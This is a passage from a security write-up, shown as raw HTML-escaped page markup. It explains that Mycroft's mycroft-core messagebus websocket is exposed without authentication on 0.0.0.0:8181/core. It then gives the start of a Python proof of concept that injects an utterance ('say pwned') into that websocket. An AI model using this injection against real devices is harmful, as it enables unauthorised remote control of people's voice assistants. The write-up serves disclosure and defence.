          print:!tw-hidden" disabled="disabled"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z"&gt;&lt;/svg&gt;&lt;/button&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;pre class="tw-block tw-m-0 tw-p-0"&gt;&lt;code class="
      chroma 
      !tw-block 
      tw-p-0
      tw-m-0
      tw-transition-[max-height] 
      tw-duration-500 
      tw-ease-in-out 
      group-[.is-closed]:!tw-max-h-0 
      group-[.is-wrap]:tw-text-wrap
      tw-overflow-y-hidden
      tw-overflow-x-auto
      tw-scrollbar-thin
      " id="codeblock-id-1"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;host&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"host"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;port&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"port"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;route&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;config&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"route"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;validate_param&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"websocket.host"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;validate_param&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"websocket.port"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;validate_param&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;route&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;"websocket.route"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;routes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;route&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;WebsocketEventHandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;application&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;web&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Application&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;routes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;settings&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;application&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;listen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;port&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;host&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;ioloop&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;IOLoop&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;it defines a websocket server that uses to get instructions from the remote clients (like the &lt;a href="https://github.com/MycroftAI/Mycroft-Android" rel="noopener noreferrer" target="_blank"&gt;Android one&lt;/a&gt;). The settings for the websocket server are defined in &lt;a href="https://github.com/MycroftAI/mycroft-core/blob/aa594aebea99eebd0109ad013b71a2210f2b72f4/mycroft/configuration/mycroft.conf#L111-L117" rel="noopener noreferrer" target="_blank"&gt;mycroft.conf&lt;/a&gt;&lt;/p&gt;
&lt;div class="code-block highlight is-open show-line-numbers  tw-group tw-my-2"&gt;
  &lt;div class="
    
    tw-flex 
    tw-flex-row
    tw-flex-1 
    tw-justify-between 
    tw-w-full tw-bg-bgColor-secondary
    "&gt;      
    &lt;button class="
        code-block-button
        tw-mx-2 
        tw-flex
        tw-flex-row
        tw-flex-1"&gt;
          &lt;div class="group-[.is-open]:tw-rotate-90 tw-transition-[transform] tw-duration-500 tw-ease-in-out print:!tw-hidden tw-w-min tw-h-min tw-my-1 tw-mx-1"&gt;&lt;svg class="icon" viewBox="0 0 320 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z"&gt;&lt;/svg&gt;&lt;/div&gt;
          &lt;p class="tw-select-none !tw-my-1"&gt;json&lt;/p&gt;
      &lt;/button&gt;

   &lt;div class="tw-flex"&gt;
      &lt;button class="
          line-number-button
          tw-mx-2 
          tw-hidden 
          group-[.is-open]:tw-block 
          group-[.show-line-numbers]:tw-text-fgColor-link 
          print:!tw-hidden" title="Toggle line numbers"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z"&gt;&lt;/svg&gt;&lt;/button&gt;

      &lt;button class="
          wrap-code-button
          tw-select-none 
          tw-mx-2 
          tw-hidden 
          group-[.is-open]:tw-block 
          group-[.is-wrap]:tw-text-fgColor-link 
          print:!tw-hidden" title="Toggle code wrap"&gt;&lt;svg class="icon" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z"&gt;&lt;/svg&gt;&lt;/button&gt;
      
      &lt;button class="
          copy-code-button
          tw-select-none
          tw-mx-2 
          tw-hidden
          group-[.is-open]:tw-block
          hover:tw-text-fgColor-link 
          print:!tw-hidden" title="Copy code"&gt;
          &lt;span class="copy-icon tw-block"&gt;&lt;svg class="icon" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z"&gt;&lt;/svg&gt;&lt;/span&gt;
          &lt;span class="check-icon tw-hidden"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z"&gt;&lt;/svg&gt;&lt;/span&gt;
      &lt;/button&gt;
        
      &lt;button class="
          tw-select-none 
          tw-mx-2 
          tw-block 
          group-[.is-open]:tw-hidden 
          print:!tw-hidden" disabled="disabled"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z"&gt;&lt;/svg&gt;&lt;/button&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;pre class="tw-block tw-m-0 tw-p-0"&gt;&lt;code class="
      chroma 
      !tw-block 
      tw-p-0
      tw-m-0
      tw-transition-[max-height] 
      tw-duration-500 
      tw-ease-in-out 
      group-[.is-closed]:!tw-max-h-0 
      group-[.is-wrap]:tw-text-wrap
      tw-overflow-y-hidden
      tw-overflow-x-auto
      tw-scrollbar-thin
      " id="codeblock-id-2"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// The mycroft-core messagebus' websocket
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;  &lt;span class="s2"&gt;"websocket"&lt;/span&gt;&lt;span class="err"&gt;:&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nt"&gt;"host"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"0.0.0.0"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nt"&gt;"port"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;8181&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nt"&gt;"route"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s2"&gt;"/core"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="nt"&gt;"ssl"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="err"&gt;,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p&gt;So there is a websocket server that doesn&amp;rsquo;t require authentication that by default is exposed on &lt;code&gt;0.0.0.0:8181/core&lt;/code&gt;. Let&amp;rsquo;s test it 😉&lt;/p&gt;
&lt;div class="code-block highlight is-open show-line-numbers  tw-group tw-my-2"&gt;
  &lt;div class="
    
    tw-flex 
    tw-flex-row
    tw-flex-1 
    tw-justify-between 
    tw-w-full tw-bg-bgColor-secondary
    "&gt;      
    &lt;button class="
        code-block-button
        tw-mx-2 
        tw-flex
        tw-flex-row
        tw-flex-1"&gt;
          &lt;div class="group-[.is-open]:tw-rotate-90 tw-transition-[transform] tw-duration-500 tw-ease-in-out print:!tw-hidden tw-w-min tw-h-min tw-my-1 tw-mx-1"&gt;&lt;svg class="icon" viewBox="0 0 320 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M285.476 272.971L91.132 467.314c-9.373 9.373-24.569 9.373-33.941 0l-22.667-22.667c-9.357-9.357-9.375-24.522-.04-33.901L188.505 256 34.484 101.255c-9.335-9.379-9.317-24.544.04-33.901l22.667-22.667c9.373-9.373 24.569-9.373 33.941 0L285.475 239.03c9.373 9.372 9.373 24.568.001 33.941z"&gt;&lt;/svg&gt;&lt;/div&gt;
          &lt;p class="tw-select-none !tw-my-1"&gt;python&lt;/p&gt;
      &lt;/button&gt;

   &lt;div class="tw-flex"&gt;
      &lt;button class="
          line-number-button
          tw-mx-2 
          tw-hidden 
          group-[.is-open]:tw-block 
          group-[.show-line-numbers]:tw-text-fgColor-link 
          print:!tw-hidden" title="Toggle line numbers"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M61.77 401l17.5-20.15a19.92 19.92 0 0 0 5.07-14.19v-3.31C84.34 356 80.5 352 73 352H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8h22.83a157.41 157.41 0 0 0-11 12.31l-5.61 7c-4 5.07-5.25 10.13-2.8 14.88l1.05 1.93c3 5.76 6.29 7.88 12.25 7.88h4.73c10.33 0 15.94 2.44 15.94 9.09 0 4.72-4.2 8.22-14.36 8.22a41.54 41.54 0 0 1-15.47-3.12c-6.49-3.88-11.74-3.5-15.6 3.12l-5.59 9.31c-3.72 6.13-3.19 11.72 2.63 15.94 7.71 4.69 20.38 9.44 37 9.44 34.16 0 48.5-22.75 48.5-44.12-.03-14.38-9.12-29.76-28.73-34.88zM496 224H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm0-160H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16V80a16 16 0 0 0-16-16zm0 320H176a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h320a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM16 160h64a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H64V40a8 8 0 0 0-8-8H32a8 8 0 0 0-7.14 4.42l-8 16A8 8 0 0 0 24 64h8v64H16a8 8 0 0 0-8 8v16a8 8 0 0 0 8 8zm-3.91 160H80a8 8 0 0 0 8-8v-16a8 8 0 0 0-8-8H41.32c3.29-10.29 48.34-18.68 48.34-56.44 0-29.06-25-39.56-44.47-39.56-21.36 0-33.8 10-40.46 18.75-4.37 5.59-3 10.84 2.8 15.37l8.58 6.88c5.61 4.56 11 2.47 16.12-2.44a13.44 13.44 0 0 1 9.46-3.84c3.33 0 9.28 1.56 9.28 8.75C51 248.19 0 257.31 0 304.59v4C0 316 5.08 320 12.09 320z"&gt;&lt;/svg&gt;&lt;/button&gt;

      &lt;button class="
          wrap-code-button
          tw-select-none 
          tw-mx-2 
          tw-hidden 
          group-[.is-open]:tw-block 
          group-[.is-wrap]:tw-text-fgColor-link 
          print:!tw-hidden" title="Toggle code wrap"&gt;&lt;svg class="icon" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M16 132h416c8.837 0 16-7.163 16-16V76c0-8.837-7.163-16-16-16H16C7.163 60 0 67.163 0 76v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16zm0 160h416c8.837 0 16-7.163 16-16v-40c0-8.837-7.163-16-16-16H16c-8.837 0-16 7.163-16 16v40c0 8.837 7.163 16 16 16z"&gt;&lt;/svg&gt;&lt;/button&gt;
      
      &lt;button class="
          copy-code-button
          tw-select-none
          tw-mx-2 
          tw-hidden
          group-[.is-open]:tw-block
          hover:tw-text-fgColor-link 
          print:!tw-hidden" title="Copy code"&gt;
          &lt;span class="copy-icon tw-block"&gt;&lt;svg class="icon" viewBox="0 0 448 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z"&gt;&lt;/svg&gt;&lt;/span&gt;
          &lt;span class="check-icon tw-hidden"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M173.898 439.404l-166.4-166.4c-9.997-9.997-9.997-26.206 0-36.204l36.203-36.204c9.997-9.998 26.207-9.998 36.204 0L192 312.69 432.095 72.596c9.997-9.997 26.207-9.997 36.204 0l36.203 36.204c9.997 9.997 9.997 26.206 0 36.204l-294.4 294.401c-9.998 9.997-26.207 9.997-36.204-.001z"&gt;&lt;/svg&gt;&lt;/span&gt;
      &lt;/button&gt;
        
      &lt;button class="
          tw-select-none 
          tw-mx-2 
          tw-block 
          group-[.is-open]:tw-hidden 
          print:!tw-hidden" disabled="disabled"&gt;&lt;svg class="icon" viewBox="0 0 512 512" xmlns="http://www.w3.org/2000/svg"&gt;&lt;!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --&gt;&lt;path d="M328 256c0 39.8-32.2 72-72 72s-72-32.2-72-72 32.2-72 72-72 72 32.2 72 72zm104-72c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72zm-352 0c-39.8 0-72 32.2-72 72s32.2 72 72 72 72-32.2 72-72-32.2-72-72-72z"&gt;&lt;/svg&gt;&lt;/button&gt;
    &lt;/div&gt;
  &lt;/div&gt;
  &lt;pre class="tw-block tw-m-0 tw-p-0"&gt;&lt;code class="
      chroma 
      !tw-block 
      tw-p-0
      tw-m-0
      tw-transition-[max-height] 
      tw-duration-500 
      tw-ease-in-out 
      group-[.is-closed]:!tw-max-h-0 
      group-[.is-wrap]:tw-text-wrap
      tw-overflow-y-hidden
      tw-overflow-x-auto
      tw-scrollbar-thin
      " id="codeblock-id-3"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="ch"&gt;#!/usr/bin/env python&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;asyncio&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;websockets&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;uri&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"ws://myserver:8181/core"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;"say pwned"&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;sendPayload&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;    &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;websockets&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;websocket&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;        &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;websocket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"{&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;data&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: {&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;utterances&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: [&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;command&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;]}, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;type&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;recognizer_loop:utterance&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;, &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;context&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;: null}"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
